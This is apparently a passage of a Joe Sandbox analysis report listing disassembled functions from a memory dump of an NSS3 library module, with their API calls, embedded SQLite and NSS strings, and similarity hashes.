Part of subcall function 6C64C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C64C2BF

PK11_DoesMechanism.NSS3(?,?), ref: 6C5C6E76
TlsGetValue.KERNEL32 ref: 6C5C726F
EnterCriticalSection.KERNEL32(?), ref: 6C5C7283

Strings

!, xrefs: 6C5C7123

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: memcpy$Value$CriticalDoesEnterErrorK11_MechanismSection
String ID: !
API String ID: 3333340300-2657877971
Opcode ID: 0cd8b2ba794369135539c946b4cab23e81741e0f0116ce0ece735955657d9501
Instruction ID: 1258ab759bc6e55fc5b66cf77c38fc07e91f16bfd82fdd6951a519d4ca7cca38
Opcode Fuzzy Hash: 0cd8b2ba794369135539c946b4cab23e81741e0f0116ce0ece735955657d9501
Instruction Fuzzy Hash: 08728DB5E052199FDB60DF68CC8879ABBB5EB49304F1041EDD80DA7701EB319A84CF92

Function 6C533C40 Relevance: 41.2, APIs: 20, Strings: 3, Instructions: 932COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C533C66
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(000000FD,?), ref: 6C533D04
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C533EAD
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C533ED7
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C533F74
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C534052
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C53406F
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000001), ref: 6C53410D
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00011A47,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C53449C

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C534452, 6C534486, 6C5344EA, 6C534571, 6C534580, 6C53458F, 6C53475A, 6C5347FA
database corruption, xrefs: 6C534490, 6C5344F4, 6C534599, 6C534764, 6C534804
%s at line %d of [%.10s], xrefs: 6C534495, 6C5344F9, 6C53459E, 6C534769, 6C534809

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: _byteswap_ulong$sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 2597148001-598938438
Opcode ID: ad17a1cb0f01b815709bfcabc6d6744ec9c11156462e353223e23cc74563f1f5
Instruction ID: 6ac0938b1bea0830f08bfb4bb47a48384971e89f1fd21102009d5643ab305f06
Opcode Fuzzy Hash: ad17a1cb0f01b815709bfcabc6d6744ec9c11156462e353223e23cc74563f1f5
Instruction Fuzzy Hash: 9A829475A00225CFCB04CF69C880B9D7BF1BF89318F2555A9D909ABB51E732EC42CB95

Function 6C60AC30 Relevance: 39.5, APIs: 26, Instructions: 539memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6C60ACC4
PORT_ArenaAlloc_Util.NSS3(?,000040F4), ref: 6C60ACD5
memset.VCRUNTIME140(00000000,00000000,000040F4), ref: 6C60ACF3
SEC_ASN1EncodeInteger_Util.NSS3(?,00000018,00000003), ref: 6C60AD3B
SECITEM_CopyItem_Util.NSS3(?,?,00000000), ref: 6C60ADC8
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C60ADDF
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C60ADF0

Part of subcall function 6C64C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C64C2BF

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C60B06A
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C60B08C
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C60B1BA
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C60B27C
memset.VCRUNTIME140(?,00000000,00002010), ref: 6C60B2CA
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C60B3C1
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C60B40C

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: Util$Error$Arena_Free$ArenaItem_memset$Alloc_CopyEncodeInteger_Mark_ValueZfree
String ID:
API String ID: 1285963562-0
Opcode ID: ff25f1e4c1894cd89fe45137c25de40aa6ae4acfaf7b587f29e31c253f4e89ab
Instruction ID: f20452340a6bf584eae67b8c4fc25017e2e29c4e53820fb6f92f7bd980d8dbf1
Opcode Fuzzy Hash: ff25f1e4c1894cd89fe45137c25de40aa6ae4acfaf7b587f29e31c253f4e89ab
Instruction Fuzzy Hash: E222A071A04301AFE714CF14CD40B9A77E1AF8430CF24857CE9596B7A2E772E859CB9A

Function 6C551F90 Relevance: 35.9, APIs: 5, Strings: 18, Instructions: 1430COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C5525F3

Strings

%s.%s, xrefs: 6C552D68
%s.%s.%s, xrefs: 6C55302D
too many references to "%s": max 65535, xrefs: 6C552FB6
H, xrefs: 6C55329F
multiple recursive references: %s, xrefs: 6C5522E0
no such index: "%s", xrefs: 6C55319D
H, xrefs: 6C55322D
too many columns in result set, xrefs: 6C553012
a NATURAL join may not have an ON or USING clause, xrefs: 6C5532C1
access to view "%s" prohibited, xrefs: 6C552F4A
no tables specified, xrefs: 6C5526BE
table %s has %d values for %d columns, xrefs: 6C55316C
unsafe use of virtual table "%s", xrefs: 6C5530D1
cannot join using column %s - column not present in both tables, xrefs: 6C5532AB
no such table: %s, xrefs: 6C5526AC
recursive reference in a subquery: %s, xrefs: 6C5522E5
'%s' is not a function, xrefs: 6C552FD2
cannot have both ON and USING clauses in the same join, xrefs: 6C5532B5

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: memcpy
String ID: %s.%s$%s.%s.%s$'%s' is not a function$H$H$a NATURAL join may not have an ON or USING clause$access to view "%s" prohibited$cannot have both ON and USING clauses in the same join$cannot join using column %s - column not present in both tables$multiple recursive references: %s$no such index: "%s"$no such table: %s$no tables specified$recursive reference in a subquery: %s$table %s has %d values for %d columns$too many columns in result set$too many references to "%s": max 65535$unsafe use of virtual table "%s"
API String ID: 3510742995-3400015513
Opcode ID: f171b006c0dcd9b5785afba526bda94025831cc0076bdae94495e94e83539fa0
Instruction ID: 4aae9a17322ba968f48e2296fcb00104bc0ed80d0fa4255e9b66cf89e912e51d
Opcode Fuzzy Hash: f171b006c0dcd9b5785afba526bda94025831cc0076bdae94495e94e83539fa0
Instruction Fuzzy Hash: 2FD28F74E04209CFDB04CF95CC94B9DB7B1FF89308F68816AD819ABB52D731A856CB50

Function 6C58ECD0 Relevance: 33.8, APIs: 7, Strings: 12, Instructions: 539COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3 ref: 6C58ED38

Part of subcall function 6C524F60: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C524FC4

sqlite3_mprintf.NSS3(snippet), ref: 6C58EF3C
sqlite3_mprintf.NSS3(offsets), ref: 6C58EFE4

Part of subcall function 6C64DFC0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,00000003,?,6C525001,?,00000003,00000000), ref: 6C64DFD7

sqlite3_mprintf.NSS3(matchinfo), ref: 6C58F087
sqlite3_mprintf.NSS3(matchinfo), ref: 6C58F129
sqlite3_mprintf.NSS3(optimize), ref: 6C58F1D1
sqlite3_free.NSS3(?), ref: 6C58F368

Strings

matchinfo, xrefs: 6C58F04F, 6C58F082, 6C58F0C2, 6C58F0F2, 6C58F124, 6C58F169
simple, xrefs: 6C58ED79
optimize, xrefs: 6C58F199, 6C58F1CC, 6C58F211
fts4, xrefs: 6C58F2AD
unicode61, xrefs: 6C58EDB5
fts3tokenize, xrefs: 6C58F30F
fts3, xrefs: 6C58F247
snippet, xrefs: 6C58EF05, 6C58EF37, 6C58EF7C
fts4aux, xrefs: 6C58ECF9
fts3_tokenizer, xrefs: 6C58EE1A, 6C58EEA8
offsets, xrefs: 6C58EFAF, 6C58EFDF, 6C58F01F
porter, xrefs: 6C58ED97

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: sqlite3_mprintf$strlen$sqlite3_freesqlite3_initialize
String ID: fts3$fts3_tokenizer$fts3tokenize$fts4$fts4aux$matchinfo$offsets$optimize$porter$simple$snippet$unicode61
API String ID: 2518200370-449611708
Opcode ID: 01eaa1d7ea45043a21d1883af7745a491d97f1d41e49535b01901dc3cb69ba4b
Instruction ID: adb409122521a03fdf3cf34af91477346d28da46ed83a7efa07b9173c7d2bbed
Opcode Fuzzy Hash: 01eaa1d7ea45043a21d1883af7745a491d97f1d41e49535b01901dc3cb69ba4b
Instruction Fuzzy Hash: 5A02E1B5B053108BE7049F31AC8572B36B2BFC9708F148A3CD85A97B41EF74E8468796

Function 6C607C00 Relevance: 31.9, APIs: 21, Instructions: 421COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C607C33
NSS_OptionGet.NSS3(0000000C,00000000), ref: 6C607C66
CERT_DestroyCertificate.NSS3(00000000), ref: 6C607D1E

Part of subcall function 6C607870: SECOID_FindOID_Util.NSS3(?,?,?,6C6091C5), ref: 6C60788F

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C607D48
PR_SetError.NSS3(FFFFE067,00000000), ref: 6C607D71
SECKEY_DestroyPublicKey.NSS3(00000000), ref: 6C607DD3
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C607DE1
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C607DF8
SECKEY_DestroyPublicKey.NSS3(?), ref: 6C607E1A
PR_SetError.NSS3(FFFFE067,00000000), ref: 6C607E58

Part of subcall function 6C607870: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C6091C5), ref: 6C6078BB
Part of subcall function 6C607870: PORT_ZAlloc_Util.NSS3(0000000C,?,?,?,6C6091C5), ref: 6C6078FA
Part of subcall function 6C607870: strchr.VCRUNTIME140(?,0000003A,?,?,?,?,?,?,?,?,?,?,6C6091C5), ref: 6C607930
Part of subcall function 6C607870: PORT_Alloc_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6C6091C5), ref: 6C607951
Part of subcall function 6C607870: memcpy.VCRUNTIME140(00000000,?,?), ref: 6C607964
Part of subcall function 6C607870: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6C60797A
Part of subcall function 6C607870: strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000001), ref: 6C607988
Part of subcall function 6C607870: memcpy.VCRUNTIME140(?,00000001,00000001), ref: 6C607998
Part of subcall function 6C607870: free.MOZGLUE(00000000), ref: 6C6079A7
Part of subcall function 6C607870: SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,?,?,?,?,?,?,?,?,6C6091C5), ref: 6C6079BB
Part of subcall function 6C607870: PR_GetCurrentThread.NSS3(?,?,?,?,6C6091C5), ref: 6C6079CA

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C607E49
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C607F8C
SECKEY_DestroyPublicKey.NSS3(?), ref: 6C607F98
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C607FBF
SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C607FD9
PK11_ImportEncryptedPrivateKeyInfoAndReturnKey.NSS3(?,00000000,?,?,?,00000001,00000001,?,?,00000000,?), ref: 6C608038
SECITEM_ZfreeItem_Util.NSS3(00000000,00000000), ref: 6C608050
PK11_ImportPublicKey.NSS3(?,?,00000001), ref: 6C608093
SECOID_FindOID_Util.NSS3 ref: 6C607F29

Part of subcall function 6C6007B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6C5A8298,?,?,?,6C59FCE5,?), ref: 6C6007BF
Part of subcall function 6C6007B0: PL_HashTableLookup.NSS3(?,?), ref: 6C6007E6
Part of subcall function 6C6007B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C60081B
Part of subcall function 6C6007B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C600825

SECKEY_DestroyPublicKey.NSS3(00000000), ref: 6C608072
SECOID_FindOID_Util.NSS3 ref: 6C6080F5

Part of subcall function 6C60BC10: SECITEM_CopyItem_Util.NSS3(?,?,?,?,-00000001,?,6C60800A,00000000,?,00000000,?), ref: 6C60BC3F

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: Util$Item_$Error$Zfree$DestroyPublic$Find$Alloc_CopyHashImportK11_LookupTablememcpy$AlgorithmCertificateConstCurrentEncryptedInfoOptionPrivateReturnTag_Threadfreestrchrstrcmpstrlen
String ID:
API String ID: 2815116071-0
Opcode ID: 19a9e43261c995d3b04c83c350f785470b64be68322fdab98767ff2bcdcc6570
Instruction ID: 2146c7b8723740bfcab405e7584ba16b1c10b2e33a79c2885faf9db09e9d3784
Opcode Fuzzy Hash: 19a9e43261c995d3b04c83c350f785470b64be68322fdab98767ff2bcdcc6570
Instruction Fuzzy Hash: E1E1A0707053009FD708CF28DA80B5B77E5AF89308F14496DE98AABB61E731EC15CB5A

Function 6C591C30 Relevance: 26.3, APIs: 14, Strings: 1, Instructions: 96memoryCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32 ref: 6C591C6B
OpenProcessToken.ADVAPI32(00000000,00000008,?), ref: 6C591C75
GetTokenInformation.ADVAPI32(00000400,00000004,?,00000400,?), ref: 6C591CA1
GetLengthSid.ADVAPI32(?), ref: 6C591CA9
malloc.MOZGLUE(00000000), ref: 6C591CB4
CopySid.ADVAPI32(00000000,00000000,?), ref: 6C591CCC
GetTokenInformation.ADVAPI32(?,00000005(TokenIntegrityLevel),?,00000400,?), ref: 6C591CE4
GetLengthSid.ADVAPI32(?), ref: 6C591CEC
malloc.MOZGLUE(00000000), ref: 6C591CFD
CopySid.ADVAPI32(00000000,00000000,?), ref: 6C591D0F
CloseHandle.KERNEL32(?), ref: 6C591D17
AllocateAndInitializeSid.ADVAPI32 ref: 6C591D4D
GetLastError.KERNEL32 ref: 6C591D73
PR_LogPrint.NSS3(_PR_NT_InitSids: OpenProcessToken() failed. Error: %d,00000000), ref: 6C591D7F

Strings

_PR_NT_InitSids: OpenProcessToken() failed. Error: %d, xrefs: 6C591D7A

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: Token$CopyInformationLengthProcessmalloc$AllocateCloseCurrentErrorHandleInitializeLastOpenPrint
String ID: _PR_NT_InitSids: OpenProcessToken() failed. Error: %d
API String ID: 3748115541-1216436346
Opcode ID: 9a13272f2321a34b37740b6b7901b762c858190ffcc884328333ee4b1fed4f3d
Instruction ID: c9f2d5d48a8e5cf433564193a698d7ef5b34359a76eaa51829536c2eeab844d7
Opcode Fuzzy Hash: 9a13272f2321a34b37740b6b7901b762c858190ffcc884328333ee4b1fed4f3d
Instruction Fuzzy Hash: 353168B5600218AFDF20DF65DC88BAA7BB9FF49344F004165F51992550EB305994CF5D

Function 6C593D00 Relevance: 24.9, APIs: 10, Strings: 4, Instructions: 446COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C593DFB
__allrem.LIBCMT ref: 6C593EEC
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C593FA3
memcpy.VCRUNTIME140(?,?,00000001), ref: 6C594047
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C5940DE
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C59415F
__allrem.LIBCMT ref: 6C59416B
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C594288
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C5942AB
__allrem.LIBCMT ref: 6C5942B7

Strings

%02d, xrefs: 6C594086
%lld, xrefs: 6C593FB2
%04d, xrefs: 6C59407B
%03d, xrefs: 6C5942E8

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@$__allrem$memcpy$__aulldiv
String ID: %02d$%03d$%04d$%lld
API String ID: 703928654-3678606288
Opcode ID: 0543bbd75aef3eff62525485ee1ab28a23f6f61ab8af430c55fd9b5096647241
Instruction ID: c080f5765a5865ec15aa4b80a7f5fe7859a976d15f88767c0982546c078fbcf8
Opcode Fuzzy Hash: 0543bbd75aef3eff62525485ee1ab28a23f6f61ab8af430c55fd9b5096647241
Instruction Fuzzy Hash: 55F12271A087809FD715CF38CC80A6BB7F6AFC6308F148A6DF49A97651E734D8858B46

Function 6C59EF40 Relevance: 23.4, APIs: 10, Strings: 3, Instructions: 629stringmemoryCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C59EF63

Part of subcall function 6C5A87D0: PORT_NewArena_Util.NSS3(00000800,6C59EF74,00000000), ref: 6C5A87E8
Part of subcall function 6C5A87D0: PORT_ArenaAlloc_Util.NSS3(00000000,00000008,?,6C59EF74,00000000), ref: 6C5A87FD
Part of subcall function 6C5A87D0: PORT_ArenaAlloc_Util.NSS3(00000000,00000000), ref: 6C5A884C

PL_strncasecmp.NSS3(oid.,?,00000004), ref: 6C59F2D4
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C59F2FC
SEC_StringToOID.NSS3(?,?,?,00000000), ref: 6C59F30F
SECITEM_AllocItem_Util.NSS3(?,00000000,-00000002), ref: 6C59F374
PL_strcasecmp.NSS3(6C6E2FD4,?), ref: 6C59F457
SECOID_FindOIDByTag_Util.NSS3(00000029), ref: 6C59F4D2
SECITEM_ZfreeItem_Util.NSS3(00000000,00000000), ref: 6C59F66E
PR_SetError.NSS3(FFFFE007,00000000), ref: 6C59F67D
CERT_DestroyName.NSS3(?), ref: 6C59F68B

Part of subcall function 6C5A8320: PORT_ArenaAlloc_Util.NSS3(0000002A,00000018), ref: 6C5A8338
Part of subcall function 6C5A8320: SECOID_FindOIDByTag_Util.NSS3(?), ref: 6C5A8364
Part of subcall function 6C5A8320: PORT_ArenaAlloc_Util.NSS3(0000002A,?), ref: 6C5A838E
Part of subcall function 6C5A8320: memcpy.VCRUNTIME140(00000000,?,?), ref: 6C5A83A5
Part of subcall function 6C5A8320: PR_SetError.NSS3(FFFFE005,00000000), ref: 6C5A83E3

Part of subcall function 6C5A84C0: PORT_ArenaAlloc_Util.NSS3(00000000,00000004,00000000,00000000), ref: 6C5A84D9
Part of subcall function 6C5A84C0: PORT_ArenaAlloc_Util.NSS3(00000000,00000000), ref: 6C5A8528

Part of subcall function 6C5A8900: PORT_ArenaGrow_Util.NSS3(00000000,?,00000000,?,00000000,?,00000000,?,6C59F599,?,00000000), ref: 6C5A8955

Strings

*, xrefs: 6C59F3C6
", xrefs: 6C59F21B
oid., xrefs: 6C59F2CF

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_$ErrorFindItem_Tag_strlen$AllocArena_DestroyGrow_L_strcasecmpL_strncasecmpNameStringZfreememcpy
String ID: "$*$oid.
API String ID: 4161946812-2398207183
Opcode ID: 0b44f056a4be2a6139e390fd3d9e9c5c830c8c9dfbf368bccd8b92fe2100a9d7
Instruction ID: f9d1a6fd7286f3e6a523ef250c9a931bbf901576d6bed807dd13a2c724759390
Opcode Fuzzy Hash: 0b44f056a4be2a6139e390fd3d9e9c5c830c8c9dfbf368bccd8b92fe2100a9d7
Instruction Fuzzy Hash: 3E2236716083818BD714CE29DC9036AB7E6ABC531CF184BAEF49987B91E7359C45CB83

Function 6C541C30 Relevance: 23.2, APIs: 3, Strings: 10, Instructions: 485COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C541D58
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C541EFD
sqlite3_exec.NSS3(00000000,00000000,Function_00007370,?,00000000), ref: 6C541FB7

Strings

unsupported file format, xrefs: 6C542188
abort due to ROLLBACK, xrefs: 6C542223
SELECT*FROM"%w".%s ORDER BY rowid, xrefs: 6C541F83
attached databases must use the same text encoding as main database, xrefs: 6C5420CA
unknown error, xrefs: 6C542291
table, xrefs: 6C541C8B
sqlite_master, xrefs: 6C541C61
sqlite_temp_master, xrefs: 6C541C5C
another row available, xrefs: 6C542287
no more rows available, xrefs: 6C542264

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@_byteswap_ulongsqlite3_exec
String ID: SELECT*FROM"%w".%s ORDER BY rowid$abort due to ROLLBACK$another row available$attached databases must use the same text encoding as main database$no more rows available$sqlite_master$sqlite_temp_master$table$unknown error$unsupported file format
API String ID: 563213449-2102270813
Opcode ID: 40e88a868aef6974a325a0c42c7efdb1a27fbd3056f88bab843a9532bd6bacb9
Instruction ID: 8e8bd3bf88c820cd0e7a19bfb5152a6a8878ea0561b4c4f771fdecc4dc8b895b
Opcode Fuzzy Hash: 40e88a868aef6974a325a0c42c7efdb1a27fbd3056f88bab843a9532bd6bacb9
Instruction Fuzzy Hash: 1412CD706083519FD704CF19C884A5ABBF2BF85318F18C96DE8898BB52D771EC56CB92

